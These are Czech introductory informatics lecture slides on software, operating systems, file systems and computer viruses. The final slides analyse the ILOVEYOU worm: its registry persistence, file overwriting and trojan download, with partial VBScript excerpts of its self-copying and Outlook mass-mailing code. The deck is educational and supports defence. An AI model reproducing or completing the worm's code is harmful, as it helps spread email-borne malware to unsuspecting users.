1 Zklady informatiky PROGRAMOV VYBAVEN OPERAN SYSTMY 1999
1 Základy informatiky PROGRAMOVÉ VYBAVENÍ, OPERAČNÍ SYSTÉMY © 1999 – 2006, Michal Vojkůvka
Programové vybavení (software) 2 • základní programové vybavení (operační systémy) • prostředky pro tvorbu aplikačního programového vybavení (vývojová prostředí, . . . ) • aplikační programové vybavení (kancelářské aplikace, CAD, hry, . . . ) Nejznámější programovací jazyky • Pascal, C, C++, Java, Visual. Basic, Fortran, . . . Konkrétní ilustrační příklady uváděné v dalším textu jsou zaměřeny zejména na operační systém MS Windows 2000/XP.
Hodnocení programového vybavení • funkčnost a variabilita • propustnost – objem dat a množství operací, které je schopen program zpracovat za jednotku času; úzce souvisí s parametry technického vybavení • spolehlivost – jak plní požadované funkce, odolnost vůči chybám uživatele i technického vybavení • doba odezvy – souvisí též s technickým vybavením • náročnost z hlediska obsluhy – zejména uživatelská přívětivost (user friendly software) • úroveň dokumentace – rozsah, přehlednost, názornost, . . . • adaptabilita – schopnost reagovat na změny ve funkčnosti • portabilita – přenositelnost programu na počítač jiného typu nebo výrobce • cena – tvoří stále vyšší podíl na ceně celého výpočetního systému 3
Životní cyklus programového díla • specifikace problému – zadání problému, návrh komunikace s programem • analýza – vytvoření logického modelu řešeného systému • návrh – rozklad na dílčí problémy, návrh metody řešení • implementace – návrh reprezentace dat, návrh algoritmů, zápis v programovacím jazyce, ladění • tvorba dokumentace – s cílem umožnit snadné používání jiným uživatelům • testování – ověření správné funkce programu • provoz a údržba – odstranění zjištěných nedostatků a přizpůsobení programu dodatečným požadavkům 4
Co uvádějí statistiky? • 31 % všech softwarových projektů je zastaveno, aniž by byly dokončeny dle zadání • více než 70 % zbývajících je dodáno, aniž by splnily očekávání zadavatelů • průměrný projekt je dokončen za 189 % plánovaných nákladů a 222 % plánovaného času • jen 9 % velkých projektů bylo dokončeno včas a za plánovanou cenu • jen 16 % projektů v malých firmách bylo dokončeno včas a za plánovanou cenu „Počítač udělá to, co naprogramuješ, ne to, co chceš. “ 5
Operační systém (OS) • soubor programů, které řídí činnost technického vybavení počítače a umožňují a usnadňují činnost aplikací • hlavním úkolem OS je zprostředkovat vazbu mezi technickým vybavením počítače a aplikacemi • OS poskytuje aplikacím služby a aplikace voláním těchto služeb ovládají technické vybavení počítače • aplikace by neměly mít přímý přístup k technickému vybavení počítače Aplikace Operační systém Technické vybavení 6
Funkce operačního systému • řídí a spravuje technické prostředky – přiděluje čas procesoru, paměť, vstupní a výstupní zařízení, . . . • spravuje data – řídí jejich vstup a výstup, přístup k nim, uchování , . . . • řídí zpracování úloh – jejich přípravu, plánování a průběh tak, aby byla zajištěna maximální efektivita jejich zpracování • podporuje komunikaci uživatele s počítačem – formou uživatelského rozhraní, informuje též uživatele o vzniklých problémech či chybách • podporuje bezpečnost a spolehlivost výpočetního systému – formou různých úrovní přístupových práv apod. 7
Operační systémy – důležité pojmy • driver (ovladač) – tvoří rozhraní mezi různorodými periferiemi a jednotnou komunikaci mezi nimi; ovladač je závislý na typu periferie; do operačního systému se začleňuje instalací • bootování – zavádění operačního systému do operační paměti počítače • multitasking – možnost provádění více úloh současně • kooperativní (nonpreemtivní) – přiděluje procesům čas procesoru na takovou dobu, jakou proces požaduje • preemtivní – přidělování času procesoru řídí OS, po určité době je řízení předáno jinému procesu; oproti kooperativnímu multitaskingu je méně zranitelný (havárie jednoho procesu obvykle neznamená havárii celého systému) 8
Rozdělení operačních systémů 9 • jednouživatelské jednoúlohové (single-user single-task) např. CP/M, MS-DOS; s podporou OS běží pouze jedna aplikace • jednouživatelské víceúlohové (single-user multi-task) např. Windows 95, Windows 98; jeden uživatel může mít současně spuštěno více aplikací • víceuživatelské víceúlohové (multi-user multi-task) např. UNIX, Linux; umožňují zpracovávat požadavky více uživatelů současně • systémy s reálným časem (real time) – zejména pro řízení technologických procesů
Komunikace uživatele s OS • způsob, jakým uživatel dává pokyny pro OS a v jaké formě dostává zprávy o výsledku provedené operace, je označován jako uživatelské rozhraní (User Interface) • existují v podstatě dvě formy uživatelského rozhraní: • textové uživatelské rozhraní – např. MS-DOS, uživatel zadává pokyny prostřednictvím tzv. příkazového řádku • grafické uživatelské rozhraní (Graphical User Interface, GUI) – převážná většina současných operačních systémů, obvykle též možnost zapisovat příkazy v příkazovém řádku 10
Komunikace uživatele s OS Textové uživatelské rozhraní Grafické uživatelské rozhraní 11
Organizace dat na disku 12 Diskové jednotky počítače • označovány písmeny A až Z A: , B: - disketové jednotky C: - systémová část pevného disku D: , E: , . . . - další (logické) pevné disky - vnější paměti (CD-ROM, flashdisk, . . . ) - namapované síťové disky Příklad: A: disketová jednotka C: systémová část pevného disku 100 GB D: logický pevný disk 100 GB E: jednotka CD-ROM Q: síťový disk Data na discích C: a D: mohou být ve skutečnosti uložena na jediném pevném disku s kapacitou 200 GB (podle konfigurace počítače).
13 Organizace dat na disku Logické rozdělení disku – příklad Primární oblast 40 GB C: 40 GB Fyzický disk 100 GB D: Rozšířená oblast 30 GB 60 GB E: 30 GB Pevný disk Oblasti (partitions) Logické disky
Organizace dat na disku - soubory Soubor (File) • množina logicky souvisejících prvků • „pojmenovaná posloupnost bajtů uložená na záznamovém médiu“ • název souboru se skládá ze jména a přípony (např. faktura. doc, calc. exe apod. ) • přípona je nepovinná (ale téměř vždy se používá) a je od jména oddělena tečkou • přípona obvykle určuje typ (formát) souboru • pravidla pro pojmenování souborů závisí na konkrétním operačním systému • v názvu souboru nejsou obvykle povoleny znaky / : * ? < > | 14
Organizace dat na disku - soubory 15 • v operačním systému MS-DOS mohlo mít jméno souboru délku max. 8 znaků a přípona max. 3 znaky • operační systém UNIX rozlišuje velká a malá písmena v názvech souborů Nejednoznačná specifikace souborů • používá se tzv. hvězdičková konvence (wildcards) • jméno a přípona souboru se nemusí uvádět jednoznačně, lze použít zástupných znaků * a ? • * zastupuje libovolný počet (i žádný) znaků • ? zastupuje vždy jeden libovolný znak • použití je možné téměř ve všech příkazech, kde se vyskytuje jméno souboru
Organizace dat na disku - soubory 16 Nejednoznačná specifikace souboru Příklad: Předpokládejme soubory (v jedné složce) dop. exe dopis. rtf dopis. txt dopis 2. doc dopis 3. txt doporuc. txt Následující zápisy potom specifikují tyto soubory: dopis*. * dopis? . * dopis. ? ? dop. ? x? dop*. ? x? *. * *. txt dopis. rtf dopis. txt dopis 2. doc dopis 3. txt všechny soubory, protože všechny začínají na dop. exe dopis 2. doc dopis 3. txt žádný soubor (přípona by musela mít délku 2 znaky) dop. exe dopis. txt dopis 3. txt doporuc. txt všechny soubory dopis. txt dopis 3. txt doporuc. txt (všechny soubory s příponou txt)
Organizace dat na disku - soubory 17
Organizace dat na disku - soubory Přípony souborů (File Extensions) Spustitelné soubory, skripty • exe (executable file) • com (command file) • bat (batch file) – dávkový soubor • vbs (Visual Basic Script file) • js (JScript, Java. Script file) Textové dokumenty • txt (text file) • doc (MS Word Document, příp. jiný fomát) • rtf (Rich Text Format) • ps (Post. Script) • pdf (Portable Document Format) • 602 (Text 602) 18
Organizace dat na disku - soubory 19 Přípony souborů Hypertextové dokumenty • htm, html (Hyper. Text Markup Language) Grafické soubory (obrázky) • jpg, jpeg (Joint Photographic Experts Group) • gif (Graphical Interchange Format) • png (Portable Network Graphics) • bmp (Bitmap file) • pcx (PC Paintbrush format) • tif, tiff (Tag Image File Format)
Organizace dat na disku - soubory 20 Přípony souborů Zvukové soubory • mp 3, mpeg 3 (MPEG Audio Layer 3) • wav (Waveform sound) • ra (Real Audio) • mid (Musical Instrument Digital Interface – MIDI) Multimediální formáty (audio/video) • mpg, mpeg (Moving Picture Experts Group) • avi (Audio Video Interleaved) • asf (Advanced Streaming Format) • qt (Quick. Time) • mov (Movie)
Organizace dat na disku - soubory Přípony souborů Archivní soubory (komprimované) – viz dále • zip • rar • arj • gz, gzip (zejména v OS UNIX) • příp. exe (self-extracting archive – samorozbalující) Další formáty • xls (MS Excel Spreadsheet) • ppt (MS Power. Point Presentation) • ttf (True Type Font) • dwg (Autocad Drawing) • dll (Dynamic Link Library – dynamická knihovna) • bak (backup file – záložní soubor) • tmp (temporary file – dočasný soubor) 21
Organizace dat na disku - soubory 22 Asociace • využití přípony souboru k vyvolání akce, která je s touto příponou spojena (např. soubor s příponou XLS spuštění aplikace MS Excel a automatické načtení toho souboru) • daná aplikace však musí požadovaný formát souboru podporovat
Organizace dat na disku - adresáře 23 Adresář (directory) / složka (folder) • adresář (nebo podadresář) je prostor na disku, který může obsahovat soubory nebo další (pod)adresáře • adresáře tvoří hierarchickou stromovou strukturu • adresář je určen svým jménem podle stejných pravidel jako název souboru (přípona se však obvykle nepoužívá) • na disku je vždy adresář, který se nazývá hlavní (kořenový, root) a je označen znakem • v různých adresářích mohou existovat podadresáře nebo soubory se stejným názvem • od operačního systému Windows 95 je pojem adresář nahrazen pojmem složka
Organizace dat na disku - cesty 24 • konkrétní soubor je jednoznačně určen označením disku, posloupností adresářů vedoucích do adresáře, kde je soubor uložen (tzv. cesta), a vlastním názvem souboru Cesta (path) • určuje přesné umístění souboru ve stromové struktuře adresářů • je dána jmény jednotlivých do sebe zanořených adresářů oddělených oddělovacím znakem • jako oddělovací znak se obvykle používá nebo / • cestu lze zapsat jako § absolutní (úplnou) – začíná vždy kořenovým adresářem, příp. i označením disku § relativní (neúplnou) – začíná aktuálním adresářem
Organizace dat na disku - cesty 25 Absolutní cesta Aktuální adresář C: Dokumentyrecenze. doc C: DokumentyPracovníadresy. doc C: DokumentyZálohaphoto. jpg
Organizace dat na disku - cesty Relativní cesta 26 Konvence . aktuální adresář rodičovský (nadřazený) adresář Aktuální adresář C: Dokumenty recenze. doc (nebo . recenze. doc) Osobnídoporuc. txt Aktuální adresář C: DokumentyPracovní adresy. doc (nebo . adresy. doc) . . škola. txt. . Osobnídopis. rtf
Organizace dat na disku - komprese Komprese souborů (file compression) • speciální metoda vedoucí ke zmenšení velikosti souboru (souborů) beze ztráty informace (ve speciálních případech může ke ztrátě dojít) • programy pro kompresi souborů umožňují vytvořit z vybraných souborů a adresářů jediný soubor, jehož objem je menší než součet velikostí jednotlivých souborů v balíku (archivu) • mezi nejznámější formáty používané pro kompresi souborů patří ZIP, RAR, ARJ, . . . • provést kompresi se obvykle říká „zazipovat“ nebo „zabalit“; místo pojmu dekomprimovat se často požívá „rozbalit“ • komprese a dekomprese dat může být též prováděna on-line (např. s podporou operačního systému) 27
Organizace dat na disku - komprese 28 5 018 / 39 936 = 0, 13 1 – 0, 13 = 0, 87 „úspora“ 87 % 160 KB 37, 5 KB
Organizace dat na disku - komprese Kompresní poměr vždy záleží na konkrétním typu souboru. 4, 02 MB 3, 65 MB 29
Organizace dat na disku 30 • cluster (klastr, alokační jednotka) – nejmenší logická datová jednotka na disku, skupina několika sektorů • počet sektorů v clusteru souvisí s kapacitou disku, čím větší je disk, tím větší bývá i velikost clusteru • i když uložíme na disk soubor o velikosti jen 1 B, obsadíme tím ve skutečnosti celý cluster, protože cluster je nejmenší logická datová jednotka na disku • Master Boot Record (MBR) – uložen v nultém sektoru nulté stopy disku, má dvě části: • tabulku oblastí (partition table) • zaváděcí záznam – krátký program spouštěný BIOSem při startu počítače, jeho úkolem je načíst tabulku oblastí a najít aktivní oblast (tu, z níž se načte systém)
Organizace dat na disku 31 • virtuální paměť – slouží ke „zvětšení“ kapacity operační paměti. Pokud systém potřebuje více paměti než je dostupná fyzická paměť RAM, jsou do souboru virtuální paměti na pevném disku odkládány právě nepoužívané paměťové bloky. Jde pochopitelně o jakousi „nouzovou“ paměť, protože přístup k pevnému disku je mnohem pomalejší než k paměti RAM. • defragmentace – neustálá práce se soubory na pevném disku (ukládání, mazání) má za následek, že uložené soubory jsou „rozkouskovány“ na několik částí. Defragmentace roztroušené kousky souborů uspořádá tak, aby obsah jednotlivých souborů byl uložen co nejvíce pohromadě (např. v po sobě jdoucích clusterech), čímž se urychlí práce s těmito soubory.
Defragmentation • each file is stored as a linked list of clusters • fragmentation: a result of the creation and deletion of files over a period of time • defragmentation reduces data access time and allows storage to be used more efficiently 32
33 Defragmentation – example • let's consider a disk that contains only 12 clusters • initially, all clusters are empty 1 2 3 4 5 6 7 8 9 10 11 12 • create four files: file A takes up 1 cluster, B takes 4, C takes 2, D takes 3 A B B B C C D D D • delete the file C A B B • create new file E that needs 3 clusters A B B E E E • delete files A and E B B • create file F which takes up 4 clusters F B B F F D D D • after defragmentation B B F
Typy souborových systémů FAT (File Allocation Table) – tabulka umístění souborů • 12 -bitová FAT (FAT 12) – pouze na disketách • 16 -bitová FAT (FAT 16) • 32 -bitová FAT (FAT 32) NTFS (New Technology File System) – umožňuje definovat přístupová práva pro jednotlivé soubory a adresáře 34
Typy souborových systémů FAT (File Allocation Table) – tabulka umístění souborů Velikost oblasti FAT 32 Velikost clusteru < 260 MB 512 B *) 260 MB – 8 GB 4 KB 8 GB – 16 GB 8 KB 16 GB – 32 GB 16 KB 32 GB – 2 TB 32 KB *) omezené použití 35
* FAT 12, FAT 16, FAT 32 – srovnání 36 • FAT 12: The oldest type of FAT uses a 12 -bit binary number to hold the cluster number. A volume formatted using FAT 12 can hold a maximum of 4086 clusters, which is 212 minus a few values (to allow for reserved values to be used in the FAT). FAT 12 is therefore most suitable for smaller volumes, and is used on floppy disks and hard disk partitions smaller than about 16 MB. • FAT 16: The FAT used for most hard disk partitions uses a 16 -bit binary number to hold cluster numbers. When you see someone refer to a "FAT" volume generically, they are usually referring to FAT 16, because it is the de facto standard for hard disks. A volume using FAT 16 can hold a maximum of 65526 clusters, which is 216 less a few values (again for reserved values in the FAT). FAT 16 is used for hard disk volumes ranging in size from 16 MB to 2048 MB. • FAT 32: The newest FAT type, FAT 32 is supported by Windows 95's OEM SR 2 release, as well as Windows 98. FAT 32 uses a 28 -bit binary cluster number – not 32, because 4 of the 32 bits are "reserved". 28 bits is still enough to permit ridiculously huge volumes – FAT 32 can theoretically handle volumes with over 268 million clusters, and will support (theoretically) drives up to 2 TB in size. However to do this the size of the FAT grows very large. www. storagereview. com/guide 2000/ref/hdd/file/part. Sizes. html
FAT 12, FAT 16, FAT 32 – srovnání Attribute FAT 12 FAT 16 FAT 32 Used for Floppies and small hard disk volumes Small to large hard disk volumes Medium to very large hard disk volumes Size of Each FAT Entry 12 bits 16 bits 28 bits Maximum Number of Clusters 4 086 65 526 ~ 268 435 456 Cluster Size Used 0. 5 KB to 4 KB 2 KB to 32 KB 4 KB to 32 KB Maximum Volume Size 16 736 256 ~ 16 MB 2 147 123 200 ~ 2. 1 GB about 241 ~ 2 TB 37
Podpora souborových systémů Operační systém Podporované souborové systémy MS-DOS FAT 16 MS Windows 95*, 98, Me FAT 16, FAT 32 MS Windows NT FAT 16, NTFS MS Windows 2000, XP FAT 16, FAT 32, NTFS 38
Zjištění typu souborového systému 39
Zavádění operačního systému • testovací a diagnostické programy (s využitím služeb BIOSu) • zavaděč nalezne systémový disk • načte do RAM zaváděcí záznam • zaváděcí záznam zahájí načítání dalších systémových souborů (jádra) This procedure may differ slightly for various computers and operating systems. 40
Nejznámější operační systémy • MS-DOS (Micro. Soft – Disk Operating System) • Windows 95, Windows 98, Windows Me (Millennium Edition) • Windows NT (New Technology), Windows 2000, Microsoft Windows XP (Experience) • OS/2 (IBM) • LINUX, UNIX, … 41
Dvě „vývojové větve“ MS Windows 42
Další operační systémy Linux 43
Operační systém MS-DOS 44 • dříve velice populární diskový jednouživatelský jednoúlohový operační systém používaný na osobních počítačích
* 45 Operační systém MS-DOS Základní příkazy spuštění programu: soubor změna aktuálního disku: disk: nápověda: příkaz /? nebo cestasoubor změna aktuálního adresáře do přímo podřízeného: cd adresář do libovolného: cd cestaadresář do nadřízeného: cd. . obsah aktuálního adresáře plný výpis: zhuštěný výpis: s pozastavením výpisu: vytvoření adresáře: zrušení adresáře: smazání souboru: přejmenování souboru: výpis obsahu souboru: přesun souboru: kopírování souboru: dir /w dir /p (dir | more) md jméno rd jméno del soubor ren stary novy type soubor move co kam copy co kam vytvoření systémového disku: sys disk: rozdělení disku: fdisk formátování disku: format disk:
* 46 Operační systém UNIX • pro každý soubor a adresář se definují přístupová práva pro § vlastníka § skupinu vlastníka § ostatní (U) (G) (O) • možná práva jsou R (read) – W (write) – čtení souboru, prohlížení obsahu adresáře změna a výmaz souboru, vytvoření a smazání adresáře X (execute) – možnost spuštění souboru, možnost vstupu do adresáře drwxrwxrwx -rw-r----- drwxr-xr-x
* 47 Operační systém UNIX Základní příkazy spuštění programu: nápověda: cesta/soubor změna aktuálního adresáře do přímo podřízeného: cd adresář do libovolného: cd cesta/adresář do nadřízeného: cd. . obsah aktuálního adresáře plný výpis: zhuštěný výpis: s pozastavením výpisu: vytvoření adresáře: zrušení adresáře: smazání souboru: přejmenování souboru: výpis obsahu souboru: přesun souboru: kopírování souboru: ls –l (ll) ls –f (lsf) ll | more mkdir jméno rm soubor mv stary novy cat soubor mv co kam cp co kam man příkaz
* Windows NT • Windows NT Workstation – OS pro síťové stanice • Windows NT Server – výkonný server pro síť typu Klient-Server • Některé vlastnosti systému: – větší nezávislost na platformě (využití tzv. HAL) – preemptivní multitasking – ověřování uživatele při přístupu do systému – NTFS – ochrana dat na serveru a pracovní stanici – podpora všech běžných protokolů pro komunikaci v LAN a WAN – nové grafické nástroje pro správu systému – doménová koncepce – Doména = logická skupina počítačů se společnou databází uživatelů a zabezpečovacích informací – vyšší spolehlivost systému 48
* 49 Nastavení konfigurace • ovládací panely • registr - aplikace regedit nebo regedt 32 – HKEY_CURRENT_USER - konfigurace aktuálně přihlášeného uživatele – HKEY_USERS – profily všech uživatelů definovaných na daném počítači – HKEY_LOCAL_MACHINE – konfigurace počítače (pro všechny uživatele) – HKEY_CLASSES_ROOT – součást HKEY_LOCAL_MACHINE – HKEY_CURRENT_CONFIG – údaje o právě používaném HW profilu Uživatelské účty – Skupiny: • lokální • globální – Některé standardní skupiny: • Everyone • Administrators • System
Windows 2000 50 Nové programy dodávané s Windows 2000 • Editor fontů • Narrator - popíše hlasem to, na co ukáže uživatel myší • Fax • Telefon (přes Internet, možnost videokonference) • … Nové možnosti • při odinstalování softwaru je možno zjistit, jak často je daný program spouštěn, kolik zabírá místa, … • spouštění aplikací jako jiný uživatel • stav hibernace
Windows 2000 51 Stav hibernace • zabere na HDD tolik místa, jak velká je operační paměť • spuštění počítače ze stavu hibernace trvá jen asi 10 s a automaticky se spustí i aplikace, které byly spuštěny při přechodu do režimu hibernace • musí se aktivovat: OBRAZOVKA VLASTNOSTI SPOŘIČ OBRAZOVKY NAPÁJENÍ REŽIM SPÁNKU ZAPNOUT PODPORU REŽIMU SPÁNKU • režim hibernace musí podporovat i základní deska
* Windows 2000 • exploits the power of today’s 32 -bit microprocessors • modular structure for flexibility • executes on a variety of hardware platforms • modified microkernel architecture • not a pure microkernel • many system functions outside of the microkernel run in kernel mode • any module can be removed, upgraded, or replaced without rewriting the entire system 52
* Windows 2000 – Layered Structure Hardware Abstraction Layer (HAL) • isolates the operating system from platform specific hardware differences Microkernel • most-used and most fundamental components of the operating system Device drivers • translate user I/O function calls into specific hardware device I/O requests 53
* Windows XP Architecture 54
Sdílení prostředků 55 disk, adresář, soubor, jiná zařízení - lze nabídnout ke sdílení • možnost nastavení přístupových práv ke sdílenému prostředku •
Souborový systém NTFS 56 • dlouhá jména, vlastník, přístupová práva • pro soubory a adresáře jsou k dispozici přístupová práva: R Read – zobrazení souborů a adresářů, čtení souborů W Write – možnost zápisu a změny obsahu souborů a adresářů X e. Xecute – lze spustit soubor nebo adresář se může stát aktuálním D Delete – rušení souborů a adresářů P Change Permissions – možnost změnit oprávnění pro soubor (adresář) O Take Ownership – možnost převzít vlastnictví souboru (adresáře) Některá standardní oprávnění: Read Change Full Control No Access (RX) (RWXD) All
* Windows Me 57 Windows Millenium Edition Deset hlavních důvodů pro inovaci na OS Windows Me • importování a úprava domácích videofilmů • přesun sbírky fotografií z krabice od bot na pevný disk • vytvoření archivu a rejstříku oblíbené hudby • ochrana důležitých souborů • obnovení původních nastavení počítače • nalezení odpovědí na hledané otázky • použití počítače k programování videa či termostatu • propojení počítačů v domácnosti • efektivnější komunikace s přáteli a spolupracovníky • hraní her na nové úrovni http: //www. microsoft. com/cze/windows. ME/upgradewhy. asp
Windows XP • Windows XP Professional – vhodný pro firmy a náročné uživatele; postaven na základě jádra použitého v systémech Windows 2000 a Windows NT Workstation – NT Kernel; vysoká úroveň výkonu, bezpečnosti a stability • Windows XP Home Edition – zejména pro domácí použití 58
Windows CE • Windows pro přenosná zařízení typu Handheld PC nebo Palm PC • zcela odlišná verze Windows, která není kompatibilní s X 86 based Windows • začínají uplatňovat jako Auto. PC tj. počítač do auta 59
Literatura • www. zive. cz • williamstallings. com 60
Kontrolní otázky 61 Uveďte nejznámější programovací jazyky. Definujte pojmy adaptabilita, portabilita a kompatibilita (programového vybavení). Co to je operační systém? Proč by aplikace neměly mít přímý přístup k technickým prostředkům? Uveďte základní funkce operačního systému. Vysvětlete pojmy driver, bootování. Co to je multitasking? Jaký je rozdíl mezi kooperativním a preemptivním multitaskingem? Uveďte nejznámější víceuživatelské operační systémy. Vysvětlete pojem uživatelské rozhraní operačního systému.
Kontrolní otázky 62 Uveďte nejznámější operační systémy používané na osobních počítačích. Co to je soubor (file)? Z čeho se skládá název souboru? Jaké znaky nejsou obvykle povoleny v názvu souboru? Jaké zástupné znaky se používají při nejednoznačné specifikaci souborů? Jaký mají tyto znaky význam? Uveďte nejčastěji používané přípony spustitelných souborů, textových dokumentů, grafických, zvukových a multimediálních souborů. Co to je asociace? Co to je adresář (directory) / složka (folder)? K čemu slouží cesta (path)? Uveďte rozdíl mezi absolutní a relativní cestou.
Kontrolní otázky Proč se soubory komprimují? V jakých případech lze použít ztrátovou metodu komprese? Uveďte nejznámější formáty používané pro kompresi souborů. Co to je cluster? K čemu slouží a co obsahuje Master Boot Record? Vysvětlete pojmy FAT a NTFS. Jaký je mezi nimi základní rozdíl? Které operační systémy podporují souborový systém NTFS? Popište zavádění operačního systému. K čemu slouží virtuální paměť? Co to je defragmentace souborů? 63
64 Základy informatiky Počítačové viry © 1999 – 2002, Michal Vojkůvka
Počítačové viry 65 • termín počítačový virus byl poprvé použit v roce 1972 ve vědecko-fantastickém románu Davida Herolda When Harley Was One (neodpovídá dnešnímu pojetí) • termín počítačový virus byl poprvé definován Fredem Cohenem v roce 1983 • první virus na počítačích třídy IBM PC s operačním systémem MS-DOS se objevil v lednu 1986 (pákistánský virus Brain) • počítačový virus má dvě základní funkce: § vkládá sám sebe do jiných programů (tj. infikuje je) § provádí nějakou (většinou škodlivou) činnost
Typy infiltrací • trojské koně (Trojan Horses) – většinou nedochází k samovolnému rozmnožování • červi (Worms) – v prostředí počítačových sítí • „zadní vrátka“ (Backdoors) – využívají hackeři, např. Troj/Qaz (srpen 2000) • viry (Viruses)– nejčastější typ infiltrace, často se používá jako univerzální označení 66
Princip činnosti počítačového viru • mechanismus šíření viru – musí zajistit infikování dalších programů a dalších počítačů • mechanismus obrany viru – zajišťuje utajení před uživatelem a před antivirovými programy • mechanismus vlastní činnosti viru – provádí jisté (zpravidla škodlivé) akce na infikovaném počítači 67
Projevy počítačových virů 68 • destrukce dat • zobrazování různých zpráv na obrazovce • vyluzování různých zvuků a melodií (Yankee Doodle) • vtipkování s uživatelem (vkládání vtipných komentářů do textových souborů, různé animace, . . . ) • simulace selhání technického vybavení • zpomalování činnosti počítače
Vlastnosti počítačových virů 69 • současné počítačové viry nemohou poškodit technické vybavení počítače, mohou však smazat obsah paměti Flash-BIOS u některých základních desek a tím znemožnit chod počítače – viry CIH (Černobyl), Emperor a Flash. Killer • existují „mýty“ o poškozování FDD, HDD, monitorů apod. , většinou však jde o chybně navržená zařízení • virus se nemůže zapsat na disketu ochráněnou proti zápisu • formátováním pevného disku se virus nemusí vždy odstranit, neboť kód viru může být zapsán ještě v Master Boot Recordu (MBR)
Pojmenování počítačových virů • přímo autorem viru (AIDS, Brain, Alabama) • podle místa svého odhalení (Durban, Suomi, Taiwan) • podle činnosti, kterou provádí (Flip, Ping-Pong, Jo-Jo, Yankee Doodle) • podle délky, o níž zvětšuje infikované soubory (405, 5120, 4096) • podle data aktivace (Friday 13 th, December 24 th, Advent) 70
Motivační impulsy tvůrců virů • legrace • touha po slávě • prostředek seberealizace • prostá lidská zvědavost • snaha škodit, ničit, ublížit • ekonomický zisk 71
Dělení virů podle napadených oblastí 72 • boot viry (Boot Viruses) – napadají boot sektor, MBR a tím si zajistí své spuštění hned při startu počítače • souborové viry (File Viruses) – jejich hostitelem jsou soubory, podle způsobu infekce se dělí souborové viry na přepisující, parazitické a doprovodné • multipartitní viry (Multipartite Viruses) – napadají více částí (boot sektor i soubory) • makroviry (Macroviruses) – šíří se v prostředí aplikací podporujících makra (MS Word, MS Excel)
Antivirové programy • slouží k detekci a odstranění počítačových virů a prevenci proti případné nákaze • je třeba provádět jejich pravidelnou aktualizaci • nejznámějšími antivirovými programy jsou AVG, AVAST, SCAN, Norton Antivirus, F-Prot, … • v dnešní době je známy desetitisíce různých počítačových virů 73
Prevence proti počítačovým virům • používat legální programové vybavení • používat antivirové programy • změnit bootovací sekvenci na C: , A: (v setupu) • vypnout WSH (Windows Script Host) • místo souborů DOC používat raději soubory RTF (pozor na pouhou změnu přípony!) • u neznámých dokumentů MS Office zakázat makra • raději používat jen prohlížeče než samotné aplikace • nespouštět žádné podezřelé programy (z Internetu) • zálohovat důležitá data 74
Počítačový virus ILove. You 75 • šíří se prostřednictvím elektronické pošty („červ“) • zpráva, která dorazí, má předmět ILOVEYOU, tělo zprávy obsahuje text „kindly check the attached LOVELETTER coming from me“ a přílohou zprávy je soubor LOVE-LETTER-FOR-YOU. TXT. VBS, který obsahuje vlastní virus • pro šíření potřebuje program MS Outlook (zde bere e-mailové adresy dalších obětí, na které se automaticky rozešle) a nainstalovanou podporu WSH (Windows Scripting Host), protože je napsán v jazyce VBScript • po spuštění souboru LOVE-LETTER-FOR-YOU. TXT. VBS se virus usadí v systému
Počítačový virus ILove. You 76 • vytvoří nové klíče v registrech HKLMSoftwareMicrosoftWindowsCurrent. VersionRunMSKernel 32 HKLMSoftwareMicrosoftWindowsCurrent. VersionRun. ServicesWin 32 DLL tak, aby se virus aktivoval při každém spuštění počítače • ve složce C: WINDOWSSYSTEM pak vytvoří soubory MSKERNEL 32. VBS a Win 32 DLL. VBS • na pevných i síťových discích vyhledává soubory s příponami VBS, VBE, JSE, CSS, WSH, SCT, HTA, jejichž obsah přepíše svým tělem a příponu změní na VBS • v případě souborů JPG a JPEG se přepíše obsah a k původní příponě se doplní navíc VBS • obsah souborů MP 2 a MP 3 zůstává ušetřen
Počítačový virus ILove. You 77 • neexistuje-li soubor C: WINDOWSWINFAT 32. EXE, nastaví domovskou stránku Internet Exploreru tak, aby ze serveru http: //www. skyinet. net stahoval soubor WIN-BUGSFIX. EXE, který obsahuje trojského koně, jenž se usadí do souboru WINFAT 32. EXE a snaží se e-mailem odesílat určitá data (hesla, …) • šíří se i prostřednictvím m. IRC tak, že se virus rozešle účastníkům kanálů, na kterých někdo z nakaženého prostředí chatuje • 4. května 2000 nakazil tento virus během několika hodin milióny počítačů po celém světě a zasloužil si tím pozornost médií
Počítačový virus ILove. You 78 Ukázky zdrojového kódu (jazyk VBScript) rem barok -loveletter(vbe) <i hate go to school> rem by: spyder / ispyder@mail. com / @GRAMMERSoft Group / Manila, Philippines On Error Resume Next dim fso, dirsystem, dirwin, dirtemp, eq, ctr, file, vbscopy, dow eq="" ctr=0 Set fso = Create. Object("Scripting. File. System. Object") set file = fso. Open. Text. File(WScript. Fullname, 1) vbscopy=file. Read. All main() sub main() On Error Resume Next dim wscr, rr set wscr=Create. Object("WScript. Shell") rr=wscr. Reg. Read("HKEY_CURRENT_USERSoftwareMicrosoftWindows Scripting HostSettingsTimeout") if (rr>=1) then wscr. Reg. Write "HKEY_CURRENT_USERSoftwareMicrosoftWindows Scripting HostSettingsTimeout", 0, "REG_DWORD" end if pokračování …
79 Počítačový virus ILove. You Set dirwin = fso. Get. Special. Folder(0) Set dirsystem = fso. Get. Special. Folder(1) Set dirtemp = fso. Get. Special. Folder(2) Set c = fso. Get. File(WScript. Full. Name) c. Copy(dirsystem&"MSKernel 32. vbs") c. Copy(dirwin&"Win 32 DLL. vbs") c. Copy(dirsystem&"LOVE-LETTER-FOR-YOU. TXT. vbs") regruns() html() spreadtoemail() listadriv() end sub … dokončení ext=fso. Get. Extension. Name(f 1. path) ext=lcase(ext) s=lcase(f 1. name) if (ext="vbs") or (ext="vbe") then set ap=fso. Open. Text. File(f 1. path, 2, true) ap. write vbscopy ap. close elseif (ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") then set ap=fso. Open. Text. File(f 1. path, 2, true) . . .
Počítačový virus ILove. You 80 Část zajišťující šíření viru e-mailem sub spreadtoemail() On Error Resume Next dim x, a, ctrlists, ctrentries, malead, b, regedit, regv, regad set regedit=Create. Object("WScript. Shell") set out=WScript. Create. Object("Outlook. Application") set mapi=out. Get. Name. Space("MAPI") for ctrlists=1 to mapi. Address. Lists. Count set a=mapi. Address. Lists(ctrlists) x=1 regv=regedit. Reg. Read("HKEY_CURRENT_USERSoftwareMicrosoftWAB"&a) if (regv="") then regv=1 end if if (int(a. Address. Entries. Count)>int(regv)) then for ctrentries=1 to a. Address. Entries. Count malead=a. Address. Entries(x) regad="" regad=regedit. Reg. Read("HKEY_CURRENT_USERSoftwareMicrosoft WAB"&malead) pokračování …
